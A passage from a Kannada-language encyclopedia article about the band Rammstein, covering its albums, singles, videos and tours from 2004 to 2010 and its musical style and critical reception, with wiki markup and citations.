ಮೊದಲು ಪ್ರದರ್ಶಿಸಲಾಯಿತು. ''ರೇಸೆ, ರೇಸೆ'' ಯ ಎರಡನೆಯ ಏಕಗೀತೆಯಾಗಿರುವ "[[ಅಮೇರಿಕ]]"ವನ್ನು 2004 ಸೆಪ್ಟೆಂಬರ್ 13 ರಂದು ಬಿಡುಗಡೆಮಾಡಲಾಯಿತು. ಆಲ್ಬಂನ ಜೊತೆಯಲ್ಲಿ ಸೆಪ್ಟೆಂಬರ್ 27 ರಂದು ಬಿಡುಗಡೆಮಾಡಿತು. ಇದು ಯೂರೋಪಿನಾದ್ಯಂತ 10 ಪ್ರಮುಖ ಸಂಗೀತದ ಹೆಸರಿನ ಪಟ್ಟಿಗಳಲ್ಲಿ ಒಂದಾಯಿತು. ಬಿಲ್ ಬೋರ್ಡ್ ಪಟ್ಟಿಯ ಪ್ರಕಾರ ಜರ್ಮನ್ ಭಾಷೆಯ ವಾದ್ಯವೃಂದಗಳಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಎಲ್ಲಾ ಕಾಲಕ್ಕೂ ಅತ್ಯಂತ ಯಶಸ್ವಿಯಾದ ವಾದ್ಯವೃಂದವಾಗಿದೆ. ನವೆಂಬರ್ 22 ರಂದು [["ಒನೆ ಡಿಚ್"]] ಅನ್ನು ಬಿಡುಗಡೆಮಾಡುತ್ತ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನವೆಂಬರ್ ಮತ್ತು 2004 ಡಿಸೆಂಬರ್ ನಲ್ಲಿ ಜರ್ಮನಿಗೆ ಪ್ರಯಾಣ ಬೆಳೆಸಿತು. 2005 ಫೆಬ್ರವರಿ 28 ರ ಹೊತ್ತಿಗೆ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಹತ್ತು ರಾಷ್ಟ್ರಗಳಲ್ಲಿ 200,000 ಪ್ರೇಕ್ಷಕರೆದುರು 21 ಗಾನಗೋಷ್ಟಿಗಳನ್ನು ಪ್ರದರ್ಶಿಸಿತ್ತು. ಈ ಪ್ರಯಾಣದಲ್ಲಿ ವಾದ್ಯವೃಂದವು ಪ್ರೇಕಕ್ಷಕರಿಂದ ಅನೇಕ ಟೀಕೆಗಳನ್ನು ಕೇಳಿತ್ತು. "[[ಕೇನ್ ಲಸ್ಟ್]]" 2005 ಫೆಬ್ರವರಿ 28 ರಂದು ''ರೇಸೆ, ರೇಸೆ'' ಯಿಂದ ಬಿಡುಗಡೆಯಾದ ನಾಲ್ಕನೆಯ ಏಕಗೀತೆಯಾಗಿದೆ. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 2005 ರ ಮೇ 27 ರಿಂದ ಜುಲೈ30 ರ ವರೆಗೆ ಯುರೋಪಿನಲ್ಲೆಲ್ಲಾ ಸಂಗೀತೋತ್ಸವ ನಡೆಸಿತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ನೇರ ಪ್ರದರ್ಶನದ DVD ''[[ವಾಲ್ಕರ್ ಬಾಲ್]] '' 2006 ನವೆಂಬರ್ ನಲ್ಲಿ ಬಿಡುಗಡೆಯಾದಾಗ ಈ ಗಾನಗೋಷ್ಠಿಗಳು ಕೊನೆಗೊಂಡವು. === ''ರೋಸೆನ್ ರೋಟ್'' ಮತ್ತು ''ವಾಲ್ಕರ್ ಬಾಲ್'' (2005–2006) === ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಆಗಸ್ಟ್ 2005 ರಲ್ಲಿ ಅದರ ಮುಂದಿನ ಸ್ಟೂಡಿಯೋ ಆಲ್ಬಂ:''[[ರೋಸೆನ್ ರೋಟ್]]'' ನ ಹೆಸರನ್ನು ಪ್ರಕಟಿಸಿತು. ಆಲ್ಬಂ ನಿಂದ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಮೊದಲನೆಯ ಏಕಗೀತೆ "[[ಬೆನ್ ಜಿನ್]]" ನನ್ನು 2005 ಅಕ್ಟೋಬರ್ 5 ರಂದು ಬಿಡುಗಡೆಮಾಡಲಾಯಿತು.ಅಲ್ಲದೇ ಇದರ ಜೊತೆಯಲ್ಲಿ ಅದರ ವಿಡಿಯೋ ಪ್ರಥಮ ಪ್ರದರ್ಶನವನ್ನು 2005 ಸೆಪ್ಟೆಂಬರ್ 16ರಂದು ನೀಡಿತು. ''ರೋಸೆನ್ ರೋಟ್'' ಆಲ್ಬಂ 2005 ಅಕ್ಟೋಬರ್ 28 ರಂದು ಪ್ರಪಂಚದಾದ್ಯಂತ ಬಿಡುಗಡೆಯಾಯಿತು. ಬಿಡುಗಡೆಯ ಹಿನ್ನೆಲೆಯಲ್ಲೇ ಆಲ್ಬಂ ಅದರ ಹಿಂದಿನ ಗೆಲುವನ್ನು ಮುಂದುವರೆಸಿತು. ವಿವಿಧ ದೇಶಗಳ ಪ್ರಮುಖ 10 ಹೆಸರಿನ ಪಟ್ಟಿಯಲ್ಲಿ ''[[ರೇಸೆ, ರೇಸೆ]]'' ಕೂಡ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡಿತು. ''ರೋಸೆನ್ ರೋಟ್'' ಆಲ್ಬಂನ ಶೀರ್ಷಿಕೆ ಗೀತೆಯ ಬಿಡುಗಡೆಯನ್ನು 2005 ಡಿಸೆಂಬರ್ 16 ಕ್ಕೆ ನಿಗದಿಪಡಿಸಲಾಯಿತು. "[[ಮನ್ ಗೆಗೆನ್ ಮನ್]]" ಏಕಗೀತೆಗೆ ವಿಡಿಯೋವನ್ನು 2006 ಫೆಬ್ರವರಿ 6 ರಂದು ಬಿಡುಗಡೆಮಾಡಲಾಯಿತು.ಅಲ್ಲದೇ ಏಕಗೀತೆಯು ಮಾರ್ಚ್ 3 ರ ಹೊತ್ತಿಗೆ ಬಿಡುಗಡೆ ಆಗುವುದರಲ್ಲಿ ಇತ್ತು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಹೆಸರನ್ನು 2006 ಫೆಬ್ರವರಿ 19 ರಂದು ಕ್ಷುದ್ರಗ್ರಹಕ್ಕೆ ಇಡಲಾಯಿತು:[[110393 ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌]]. 1998 ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಗಿದ್ದ ''[[ಲೈವ್ ಆಸ್ ಬರ್ಲಿನ್]] '' ನಂತರ ನವೆಂಬರ್ 17 ರಂದು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಅದರ ಮೊದಲನೆಯ ನೇರ ಪ್ರದರ್ಶನದ DVDಯನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿತು. ವಾದ್ಯವೃಂದದಿಂದ ''[[ವಾಲ್ಕರ್ ಬಾಲ್]]'' ಪ್ರದರ್ಶನಗಳನ್ನು , ಗಾನಗೋಷ್ಠಿಯನ್ನು ಇಂಗ್ಲೆಂಡ್ ಫ್ರಾನ್ಸ್ ,ಜಪಾನ ಮತ್ತು ರಷ್ಯಗಳಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾಯಿತು. ಎರಡನೆಯ DVD ಯಿಂದ ವಿಶೇಷ ಆವೃತ್ತಿಯನ್ನು ಇನ್ನಷ್ಟು ವಿಸ್ತರಿಸಲಾಯಿತು. ಇದು ಮ್ಯಾತಿಲ್ಡ್ ಬೊನೆಫೊಯ್ ನಿಂದ "ಅನಕೊಂಡ ಇನ್ ದಿ ನೆಟ್" ಹಾಗು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಗಿಟಾರ್ ವಾದಕ [[ಪಾಲ್ ಲ್ಯಾಂಡರ್ಸ್]] ನಿಂದ "ಮೇಕಿಂಗ್ ಆಫ್ ದಿ ಆಲ್ಬಂ ರೇಸೆ, ರೇಸೆ" ಎಂಬ ಸಾಕ್ಷ್ಯಚಿತ್ರಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಪೋಟೋಗಳನ್ನು ಹೊಂದಿರುವ ಕಪ್ಪು ಮತ್ತು ಬಿಳುಪು ಪೋಟೋ ಬುಕ್ ರೀತಿಯಲ್ಲಿ ಪರಿಮಿತ ಆವೃತ್ತಿಯನ್ನು ಫ್ರೆಡ್ರಿಕ್ ಬ್ಯಾಟೀರ್ ಬಿಡುಗಡೆ ಮಾಡಿದ. ಈತ ವಾದ್ಯವೃಂದದ ಇತ್ತೀಚಿನ ಪ್ರವಾಸದಲ್ಲಿ ಸೇರಿಕೊಂಡವನು. ಪೋಟೋ-ಬುಕ್ ಆವೃತ್ತಿ ಎರಡು DVD ಗಳನ್ನು ಮತ್ತು ಎರಡು ನೇರ ಪ್ರದರ್ಶನದ ಆಲ್ಬಂಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. === ''ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲ್ಲೆ ಡ'' ಮತ್ತು ಪ್ರವಾಸ (2007–ಕೊಡುಗೆ) === ವಾದ್ಯವೃಂದ 2006 ರಲ್ಲಿ ವಿಶ್ರಾಂತಿ ತೆಗೆದುಕೊಂಡು 2007 ಕ್ಕೆ ಮತ್ತೆ ತನ್ನ ಚಟುವಟಿಕೆ ಪ್ರಾರಂಭಿಸಿತು.<ref>{{cite web | url = http://www.rammstein-austria.com/news.php | title = Rammstein News | accessdate = 2007-04-10 | publisher = Rammstein-Austria.com | archive-date = 2007-04-06 | archive-url = https://web.archive.org/web/20070406191623/http://www.rammstein-austria.com/news.php | url-status = dead }}</ref> ಹೊಸ ಆಲ್ಬಂ 11 ಹಾಡುಗಳನ್ನು<ref>http://www.rammstein.de/blog/lang/en/ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಅಧಿಕೃತ ವೆಬ್ ಸೈಟ್ ಸುದ್ದಿ 11 ಹಾಡುಗಳನ್ನು ದೃಢಪಡಿಸುತ್ತದೆ. 2009-08-10ರಂದು ಪಡೆಯಲಾಗಿದೆ.</ref> ಹೊಂದಿದೆ, ಹಾಗು [[ಸ್ಟಾಕ್ ಹೋಲ್ಮ್]] ನಲ್ಲಿ ಮಾಡುತ್ತಿದ್ದ ಆಲ್ಬಂ ನ ಮರು ಮಿಶ್ರಣ ಮುಗಿದಿದೆ, ಎಂದು ಆಗಸ್ಟ್ 2009 ರಲ್ಲಿ ದೃಢಪಡಿಸಲಾಯಿತು.<ref>http://www.rammstein.de/blog/lang/en/ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಅಧಿಕೃತ ವೆಬ್ ಸೈಟ್ ಕೊನೆಗೊಂಡದ್ದನ್ನು ಖಚಿತ ಪಡಿಸಿತು. 2009-08-10ರಂದು ಪಡೆಯಲಾಗಿದೆ.</ref> ಹೊಸ ಆಲ್ಬಂನಿಂದ "[[ಪುಸಿ]]" ಮೊದಲನೆಯ ಏಕಗೀತೆಯಾಗುವುದೆಂದು ವಾದ್ಯವೃಂದದ ವೈಬ್ ಸೈಟ್ ನಲ್ಲಿ 2009 ಸೆಪ್ಟೆಂಬರ್ 1 ರಂದು ದೃಢಪಡಿಸಲಾಯಿತು. ಅದೇ ದಿನ ಗೌನ್ಟ್ ಲೆಟ್ ಅದರ ಪ್ರಚಾರದ ವಿಡಿಯೋವನ್ನು ಕಳುಹಿಸಿದನು. ಈ ವಿಡಿಯೋ ಹೊಸ ಆಲ್ಬಂನ ಶೀರ್ಷಿಕೆ ''[[ಲೈಬೆ ಇಸ್ಟ್ ಫುರ್ ಅಲ್ಲೆ ಡ]]'' ವೆಂದು ಖಚಿತಪಡಿಸಿತು. ರಾಕ್ ಒನ್ ನಿಯತಕಾಲಿಕೆಯ ಸಂದರ್ಶನದಲ್ಲಿ ಪಾಲ್ ಲ್ಯಾಂಡರ್ಸ್ ಅದರ ಶೀರ್ಷಿಕೆಯನ್ನು ಮತ್ತೊಮ್ಮೆ ಖಚಿತ ಪಡಿಸಿದ. "ಪುಸಿ" ಆಲ್ಬಂನ ಸಂಗೀತದ ವಿಡಿಯೋವನ್ನು 2009 ಸೆಪ್ಟೆಂಬರ್ 16 ರಂದು 20:30 GMT ಸಮಯಕ್ಕೆ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಇದನ್ನು ವಿಶೇಷವಾಗಿ ವಯಸ್ಕರು ನೋಡುವ ವೆಬ್ ವೈಟ್ ಆದ Visit-x ಗಾಗಿ ಬಿಡುಗಡೆ ಗೊಳಿಸಲಾಯಿತು.<ref>[http://www.visit-x.net/rammstein -- Rammstein presents Pussy.] 2009-06-29ರಂದು ಪಡೆಯಲಾಗಿದೆ</ref> ವಿಡಿಯೋ ಗಂಡು ಮತ್ತು ಹೆಣ್ಣಿನ ನಗ್ನತೆಯನ್ನು ಹಾಗು ಮಹಿಳಾ ವಾದ್ಯವೃಂದ ಸದಸ್ಯರೊಂದಿಗೆ ಲೈಂಗಿಕ ಕ್ರಿಯೆಯಲ್ಲಿ ತೊಡಗಿರುವ ಗ್ರಾಫಿಕ್ ದೃಶ್ಯಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಲೈಂಗಿಕ ದೃಶ್ಯಗಳಲ್ಲಿ ನಿಜವಾಗಿ ಬೇರೆಯವರು ಅಭಿನಯಿಸಿದ್ದರು.<ref>http://www.20min.ch/unterhaltung/sounds/story/28765113</ref> ವಿಡಿಯೋ ಸಂಪಾದಕೀಯ ಆವೃತ್ತಿಯಾದ [[ಮೆಟಲ್ ಹ್ಯಾಮರ್]] ಅನ್ನು ಅವರ ವೆಬ್ ಸೈಟ್ ನಲ್ಲಿ ಹಾಕಲಾಯಿತು.<ref>http://www.metalhammer.co.uk/news/the-rammstein-video-described-for-those-at-work/ ಮೆಟಲ್ ಹ್ಯಾಮರ್ ವಾರ್ಕ್ ಸೇಫ್ 'ಪುಸಿ' ಯಾ ಸಾರಂಶ.</ref> ರೇಡಿಯೋ ಇನ್ಸ್ ಸಂದರ್ಶನದಲ್ಲಿ ಪಾಲ್ ಮತ್ತು ಪ್ಲೇಕ್ "[[ಇಚ್ ಟು ಡಿರ್ ವ್ಯೆ]]" ಆಲ್ಬಂನ ಎರಡನೆಯ ಏಕಗೀತೆ ಎಂದು ಖಚಿತಪಡಿಸಿದರು. ಆದರೂ "ಪುಸಿ" ವಿಡಿಯೋ ರೀತಿಯಲ್ಲೇ ಇರುವ "ಇಚ್ ಟು ಡಿರ್ ವ್ಯೆ" ವಿಡಿಯೋ 2009 ಡಿಸೆಂಬರ್ 21ರಂದು Visit-X ವೆಬ್ ಸೈಟ್ ನಲ್ಲಿ ಬಿಡುಗಡೆಯಾದಾಗ ಜರ್ಮನಿಯ ಹಾಡುಗಳ ಸೆನ್ಸಾರ್ ಮಂಡಳಿ ಇದರ ಜಾಹೀರಾತುಗಳ , ಸಾರ್ವಜನಿಕ ಪ್ರದರ್ಶನವನ್ನು ನಿಷೇಧಿಸಿತು. ಜರ್ಮನ್ ವಾದ್ಯವೃಂದಗಳ ಅಧಿಕೃತ ವೈಬ್ ಸೈಟ್ ನಲ್ಲಿ ಜಾಹೀರಾತು ನೀಡಿದ ಬಳಿಕ ಇದು ವಾದ್ಯವೃಂದವನ್ನು ವೇದಿಕೆಯ ಮೇಲೆ ಅದರ ಹಿಂದಿನ 2009/2010 ರ ಪ್ರವಾಸದಂತೆಯೆ ರೂಪಿಸಿತು. ಅಧಿಕೃತ ವೆಬ್ ಸೈಟ್ ನಲ್ಲಿ ವಿಡಿಯೋ ಬಗ್ಗೆ ಇದ್ದ ಎಲ್ಲಾ ಉಲ್ಲೇಖಗಳನ್ನು ತೆಗೆದುಹಾಕಲಾಯಿತು. ಯುರೋಪ್ ನಲ್ಲಿ ಏಕಗೀತೆಯನ್ನು 2010 ಜನವರಿ 15 ರಂದು ಹಾಗು U.S ನಲ್ಲಿ 2010 ಜನವರಿ 19 ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref>http://www.rammstein-austria.com, 2009 ರ ಡಿಸೆಂಬರ್ 18</ref> ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 2010 ಜೂನ್ 4-6 ರವರೆಗೆ [[2010 ರಾಕ್ ಎ ಎಮ್ ರಿಂಗ್ ಸಂಗೀತೋತ್ಸವ]]ದಲ್ಲಿ ಪ್ರದರ್ಶನ ನೀಡುವುದೆಂದು ಖಚಿತಪಡಿಸಲಾಯಿತು.<ref>http://www.metalhammer.co.uk/news/rammstein-confirmed-for-rock-am-ring/</ref> 2010 ಜೂನ್ 3 ರಂದು ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಬೆಲ್ಜಿಯಮ್ ನ ವರ್ಚಟರ್ ಸಂಗೀತೋತ್ಸವದಲ್ಲಿಯೂ ಕೂಡ ಭಾಗವಹಿಸಿತು. ಮಾರನೆಯ ದಿನವೇ ಫ್ರಾನ್ಸ್ ನ ಮ್ಯೇನ್ ಸ್ಕ್ವ್ಯೇರ್ ಸಂಗೀತೋತ್ಸವದಲ್ಲಿ ಪಾಲ್ಗೊಂಡಿತು. UK ಸಂಗೀತೋತ್ಸವದಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 2010 ರ [[ಸೋನಿಸ್ಪ್ಯೇರ್ ಸಂಗೀತೋತ್ಸವ]] ಎಂಬ ಶೀರ್ಷಿಕೆಯಲ್ಲಿ [[ಐರನ್ ಮ್ಯೇಡನ್]] ವಾದ್ಯವೃಂದವರೊಂದಿಗೆ ಅದರ ಮೊದಲ ಪ್ರದರ್ಶನ ನೀಡುವುದೆಂದೂ ಕೂಡ ಖಚಿತಪಡಿಸಲಾಯಿತು. 2010 ಜೂನ್ 18-19 ರವರೆಗೆ ಅದು ಸ್ವೀಡಿಷ್ ಮೆಟಲ್ ನ [[ಮೆಟಲ್ ಟೌನ್]] ಸಂಗೀತೋತ್ಸವದಲ್ಲಿಯೂ ಕೂಡ ಭಾಗವಹಿಸಲಿದೆ ಎಂದು ದೃಢಪಡಿಸಲಾಯಿತು.<ref>{{Cite web |url=http://en.affenknecht.com/rammstein-confirmed-to-play-at-2-other-festivals/ |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2013-12-09 |archive-date=2013-04-23 |archive-url=https://web.archive.org/web/20130423151049/http://en.affenknecht.com/rammstein-confirmed-to-play-at-2-other-festivals/ |url-status=dead }}</ref> 2009 ಡಿಸೆಂಬರ್ 24 ರಂದು ಪಾಲ್ ಲ್ಯಾಂಡರ್ಸ್ ಗೆ ಮಾಡಿದ ಒಂದು ಸಂದರ್ಶನದ ಪ್ರಕಾರ ಮುಂದಿನ ವಿಡಿಯೋ "ಹೈಫಿಸ್ಚ್" ಆಗಿದೆ. "ಇಚ್ ಟು ಡಿರ್ ವ್ಯೆ" ಯಂತೆ ನೇರ ಪ್ರದರ್ಶನಕ್ಕೆ ಬದಲಾಗಿ "ಹೈಫಿಸ್ಚ್" ಅದರ ಹಿಂದೆ ಒಂದು ಕಥೆಯನ್ನೂ ಒಳಗೊಂಡಿದೆ. ಆತ ಸಂದರ್ಶನದಲ್ಲಿ ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ 2010ರ ಕೊನೆಯಲ್ಲಿ ಉತ್ತರ ಅಮೇರಿಕಕ್ಕೆ ಪ್ರವಾಸ ಕೈಗೊಳ್ಳಲಿದೆ ಎಂದು ತಿಳಿಸಿದನು. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಸೆಪ್ಟೆಂಬರ್ ನಲ್ಲಿ ಯುನೈಟೈಡ್ ಸ್ಟೇಟ್ ಗೆ ಪ್ರಯಾಣ ಬೆಳೆಸುವುದೆಂದು ಹಾಗು ಅಕ್ಟೋಬರ್ ನಲ್ಲಿ ಮೆಕ್ಸಿಕೊದಲ್ಲಿ ಪ್ರದರ್ಶನವನ್ನು ನೀಡುವುದೆಂದು ಖಚಿತಪಡಿಸಿದೆ. ಇತರ ಅಮೇರಿಕನ್ ರಾಷ್ಟ್ರಗಳಲ್ಲಿ ಅವರ ಪ್ರದರ್ಶನ ನೀಡುವುದು ಹಾಗೇಯೆ ಉಳಿಯಿತು.<ref>http://www.eltiempo.com/culturayocio/lecturas/ARTICULO-WEB-PLANTILLA_NOTA_INTERIOR-7478910.html{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಅವರ "ಹೈಫಿಸ್ಚ್" ವಿಡಿಯೋವನ್ನು 2010 ಏಪ್ರಿಲ್ 23 ಶುಕ್ರವಾರದಂದು ಬಿಡುಗಡೆ ಮಾಡಿದರು . ಜೊತೆಯಲ್ಲಿ ಏಕಗೀತೆಯನ್ನು ಮೇ ಮಧ್ಯದಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿದರು.<ref>http://www.thegauntlet.com/article/307/18472/Rammstein.html</ref> == ಸಂಗೀತದ ಶೈಲಿ ಮತ್ತು ಪ್ರಭಾವಗಳು == {{listen | filename = Rammstein - Bestrafe mich (sample).ogg | title = "Bestrafe mich" | description = A sample of Rammstein's older style and Till Lindemann's deeply voiced lyrics. | format = | filename2 = Rammstein - Ohne dich (sample).ogg | title2 = "Ohne dich" | description2 = The range of Rammstein's style and Till Lindemann's vocals are demonstrated in "Ohne dich". | format2 = | filename3 = Rammstein - Zwitter (sample).ogg | title3 = "Zwitter" | description3 = "Zwitter" is an example of the subject matter and sense of humor in Rammstein's lyrics. | format3 = }} ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ಯಾವಾಗಲೂ [[ನೆವು ಡೆಟ್ಸ್ಚೆ ಹ್ಯಾರ್ಟೆ]] ಎಂದು ಕರೆಯಲ್ಪಟ್ಟರೂ ಕೂಡ ಅವರ ಸಂಗೀತ [[ಹೆವಿ ಮೆಟಲ್]] [[ಔದ್ಯೋಗಿಕ ಮೆಟಲ್]] [[ಹಾರ್ಡ್ ರಾಕ್]] , [[ಎಲೆಕ್ಟ್ರಾನಿಕ]] ಹಾಗು [[ಪುಂಕ್ ರಾಕ್]] ನ ಪ್ರಭಾವದಿಂದ [[ಗ್ರಾನ್ಜ್]] , [[ಪಾಪ್ ಸಂಗೀತ]] ಮತ್ತು [[ಗೋಥಿಕ್ ರಾಕ್]] ಗಳನ್ನು ಒಳಗೊಂಡಂತೆ ಸಂಬಂಧಪಟ್ಟ ವಿಭಿನ್ನ ಶೈಲಿಗಳಲ್ಲೆಲ್ಲಾ ವ್ಯಾಪಿಸಿದೆ. ಈ ವಾದ್ಯವೃಂದವು ಮೊದಲಿಗೆ [[ಒಮ್ಫ್!]], [[ಮಿನಿಸ್ಟ್ರಿ]] ಮತ್ತು [[ಲೈಬ್ಯಾಚ್]] ತಂಡಗಳ ಪ್ರಭಾವಕ್ಕೊಳಗಾಗಿತ್ತು. ವಾದ್ಯವೃಂದಕ್ಕೆ ಎಲ್ಲಾ ರೀತಿಯ ಉಡುಪು ಅಂದರೆ ನೇರ ಪ್ರದರ್ಶನದಲ್ಲೂ ಹಾಗು ವಿಡಿಯೋಗಳಿಗೆ ಬೇಕಾಗಿರುವ ಉಡುಪನ್ನೂ ಕೂಡ ಧರಿಸುವ ಸಾಮರ್ಥ್ಯ ಹೊಂದಿದ್ದರು. "ಕ್ಯೇನೆ ಲಸ್ಟ್" ವಿಡಿಯೋದಲ್ಲಿ ಫ್ಲೇಕ್ ಅನ್ನು ಬಿಟ್ಟು ವಾದ್ಯವೃಂದದ ಉಳಿದೆಲ್ಲ ಸದಸ್ಯರು ಫ್ಯಾಟ್ ಸ್ಯೂಟ್ ಅನ್ನು ಧರಿಸಿದ್ದರು. "ಅಮೇರಿಕ" ವಿಡಿಯೋದಲ್ಲಿ ವಾದ್ಯವೃಂದದ ಎಲ್ಲಾ ಸದಸ್ಯರು ಬಾಹ್ಯಾಕಾಶದ ಪೋಷಾಕನ್ನು ಹಾಕಿಕೊಂಡಿದ್ದರು. ನೇರ ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ವಾದ್ಯವೃಂದವು ಉಡುಪುಗಳೊಂದಿಗೇ ಹೆಚ್ಚಾಗಿ ಪ್ರಯೋಗ ನಡೆಸುತ್ತಿತ್ತು. ''ವಾಲ್ಕರ್ ಬಾಲ್'' ಗಾನಗೋಷ್ಠಿಯಲ್ಲಿ ಇತರರ ಜೊತೆಯಲ್ಲಿ ಟಿಲ್ ಹಾಡಿನ ಮಧ್ಯದಲ್ಲೇ ಉಡುಪುಗಳನ್ನು ಬದಲಾಯಿಸುತ್ತಿದ್ದನು. ಅಲ್ಲದೇ ಪ್ರತಿಯೊಂದರ ಪ್ರಕಾರವಾಗಿಯೇ ಅದನ್ನು ಆಗಾಗ ಬದಲಾಯಿಸುತ್ತಿದ್ದನು. ಉದಾಹರಣೆಗೆ "ಮ್ಯೇನ್ ಟಿಲ್", ನಲ್ಲಿ ಕಟುಕನ ಮತ್ತು "ರೇಸೆ, ರೇಸೆ" ಯಲ್ಲಿ ನಾವಿಕನ ರೀತಿಯ ಉಡುಪು ಧರಿಸಿದ್ದನು. ವಾದ್ಯವೃಂದದ ಉಳಿದವರೆಲ್ಲರೂ ಅವರಿಗೆ ಇಷ್ಟವಾಗುವ ಬಟ್ಟೆಗಳನ್ನು ಹಾಕಿದ್ದಾರೆ, ಆದರೆ ಯಾರು ಟಿಲ್ ನಂತೆ ವಿಚಿತ್ರವಾದ ಉಡುಪು ಹಾಕಿಲ್ಲ. ರ‌್ಯಾಮ್‌ಸ್ಟೀನ್‌ ನ ಶೈಲಿಯು ಅವರಿಗೆ ಸಿಕ್ಕಿದ್ದ ನೆನಪಿನಲ್ಲಿ ಇರಿಸಿಕೊಳ್ಳುಬಹುದಾದ ವಿಮರ್ಶೆಗಳನ್ನು ವಿಂಗಡಿಸುವ ಪ್ರವೃತ್ತಿಯನ್ನು ಹೊಂದಿತ್ತು. ''[[ಮುಟ್ಟರ್]]'' ವಿಡಿಯೋವನ್ನು ''ಜ್ಯಾಮ್ ಶೋಬಿಸ್'' (ಏಪ್ರಿಲ್ 2001)ಎಂಬುವವನು ಮುಯ್ಯೂಸಿಕ್ ಟು [[ಇನ್ ವೇಡ್ ಪೋಲ್ಯಾಂಡ್ ಟು]] "ಎಂದು ವಿವರಿಸಿದ್ದಾನೆ . ನ್ಯೂಜಿಲ್ಯಾಂಡ್ ನ ''ಸೌತ್ ಲ್ಯಾಂಡ್ ಟೈಮ್ಸ್'' (ಡಿಸೆಂಬರ್ 17, 1999) "ಸಬ್ - ಸೋನಿಕ್ ಬ್ಲಾಗ್ ನಲ್ಲಿ ಟಿಲ್ ಲಿನ್ಡ್ ಮ್ಯಾನ್ ಅತ್ಯಂತ ಜನಪ್ರಿಯನಾಗಿದ್ದನು. ಆತನ ಜನಪ್ರಿಯತೆಯನ್ನು ವರ್ಣಿಸಲು ಚಂಡಮಾರುತ ಬೀಸಿದಾಗ ರೈತರುಗಳು ಓಡಿ ಹೋಗಿ ಬಾಗಿಲು ಮುಚ್ಚಿಕೊಳ್ಳುವ ಹಾಗೇ ಎಂಬ ರೂಪಕವನ್ನು ನೀಡಲಾಗಿದೆ". ''[[ನ್ಯೂಯಾರ್ಕ್ ಟೈಮ್ಸ್]] '' (ಜನವರಿ 9, 2005) ವೇದಿಕೆಯ ಮೇಲೆ ಅದನ್ನು ಹೇಳಿದಾಗ "ಮಿಸ್ಟರ್ ಲಿನ್ಡೆ ಮನ್ ಎಷ್ಟು ರಭಸವಾಗಿ ಕ್ರೂರವಾಗಿ ಬಿರುಸಾಗಿ ಪ್ರದರ್ಶನ ನೀಡುತ್ತಿದ್ದ ಎಂದರೆ ಆತ ಪ್ರೇಕ್ಷಕರ ಬಳಿ ಹೋಗಿ ಇದ್ದಕ್ಕಿಂದಂತೆ ಅಭಿಮಾನಿಯನ್ನು ಎಳೆದುಕೊಂಡು ಆತನ ತಲೆಗೆ ಹೊಡೆಯುವಂತೆ ಅದು ತೋರುತ್ತಿತ್ತು". ''[[ಆಲ್ ಮ್ಯೂಸಿಕ್]]'' ನ ಸ್ಟೀಫನ್ ತಾಮಸ್ ಅರ್ಲೆವೈನ್ ಅವರ "ಔದ್ಯೋಗಿಕ ಶಬ್ದಗಳ ಸಾಮರಸ್ಯ , ಮೈಟಾಲ್ ಗಿಟಾರ್ ಅನ್ನು ನುಡಿಸುವ ರೀತಿ ಮತ್ತು ಅಪೆರಾದ ಹಾಡುಗಳು ಆಶ್ಚರ್ಯಗೊಳಿಸುವಷ್ಟು ಶಕ್ತಿ ಶಾಲಿಯಾಗಿವೆ" ಎಂಬ ಹೇಳಿಕೆಯನ್ನು ನೀಡಿದ್ದಾನೆ .<ref name="Allmusic.com-sehnsucht">{{cite web | title = Sehnsucht review | author = Stephen Thomas Erlewine | publisher = Allmusic | url = http://www.allmusic.com/cg/amg.dll?p=amg&sql=A6s27gjyr16ix | accessdate = 2006-07-10 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> " ನಾವು ಕೇವಲ ಎಲ್ಲೆಯನ್ನು ಮೀರುತ್ತೇವೆ" ಎಂಬ ಮಾತನ್ನು ಟಿಲ್ ಲಿನ್ಡೆ ಮನ್ ''[[ಕೆರ್ಯಾಂಗ್!]]'' ನ ರಾಕ್ ಮ್ಯೂಸಿಕ್ ನಿಯತಕಾಲಿಕೆಯ ಸಂದರ್ಶನದಲ್ಲಿ ಹೇಳಿದನು. ಅಲ್ಲದೇ "ನಾವು ಮೀರಿದ ಎಲ್ಲೆಗಳು ಜನರಿಗೆ ಇಷ್ಟವಾಗದಿದ್ದರೆ ಅದಕ್ಕೆ ನಾವೇನು 